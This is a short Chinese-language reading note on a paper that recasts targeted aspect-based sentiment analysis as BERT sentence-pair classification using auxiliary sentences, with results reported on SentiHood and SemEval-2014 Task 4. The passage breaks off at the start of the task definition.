【论文阅读】Utilizing BERT for Aspect-Based Sentiment Analysis via Constructing Auxiliary Sentence

Utilizing BERT for Aspect-Based Sentiment Analysis via Constructing Auxiliary Sentence

这篇论文主要是通过用aspect构造辅助句子，将ABSA问题转成sentence-pair分类任务，模型就是用了bert，然后再sentihood和semeval2014 task4上都取得了很好的结果

简介

这篇文章的问题领域是TABSA：aspect对应着target，有一个情感极性。这个任务可以分成两步，第一是识别target关联的aspect（the first step is to determine the aspects associated with each target;）；第二是确定这个target的aspect的情感极性（the second step is to resolve the polarity of aspects to a given target）
直接把bert用于TABSA任务并没有显著的提升，文章认为这可能是预训练Bert模型的打开（使用）方式不对。
由于Bert既可以表示单个句子，也可以表示一对句子，所以想到将TABSA问题转化成句子对分类问题，然后微调bert模型。
文章探讨了几种构建辅助句子来转化TASBSA问题的方法。
文章总的贡献是两点：
1、将TABSA问题转化成句子对分类问题来解决
2、微调bert模型，在sentihood和semeval2014 task4上都取得了很好的结果

Methodology

任务描述

TABSA：
句子s:{w1, · · · , w